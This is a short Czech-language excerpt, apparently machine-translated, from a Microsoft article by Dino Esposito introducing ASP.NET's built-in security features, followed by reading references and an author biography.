ASP.NET aplikace nejsou zranitelnější ani bezpečnější než jiné webové aplikace. Zabezpečení a ohrožení zabezpečení je odvozeno z postupů kódování, zkušeností z terénu a týmové práce. Žádná aplikace není zabezpečená, pokud síť není; Stejně tak, bez ohledu na to, jak zabezpečená a dobře spravovaná síť je, útočníci si vždy najdou cestu, pokud dojde k narušení aplikace.

Výhodou ASP.NET je, že poskytuje několik dobrých nástrojů, které několika kliknutími zvýší bezpečnostní pruh na schůdnou úroveň. Není to však dostatečná úroveň. Nespoléhejte jenom na ASP.NET předdefinovaných řešení, ale ani je byste neměli ignorovat. A co nejvíce informací o nejběžnějších útocích.

Tento článek obsahuje anotovaný seznam integrovaných funkcí a některé základní informace o útocích a ochraně. Techniky detekce probíhajících útoků jsou jiný příběh a možná vyžadují další článek.

Psaní zabezpečeného kódu – Michael Howard a David LeBlanc

TechNet Magazine, krádež na webu: Prevence napadení relace

 

O autorovi

Dino Esposito je wintellect instruktor a konzultant se sídlem v Itálii. Autor programování Microsoft ASP.NET a novější verze Introducing Microsoft ASP.NET 2.0 (obojí z Microsoft Press) tráví většinu času výukou na ASP.NET a ADO.NET a přednáší na konferencích. Tour Dino blog na .https://weblogs.asp.net/despos

© Microsoft Corporation. All rights reserved.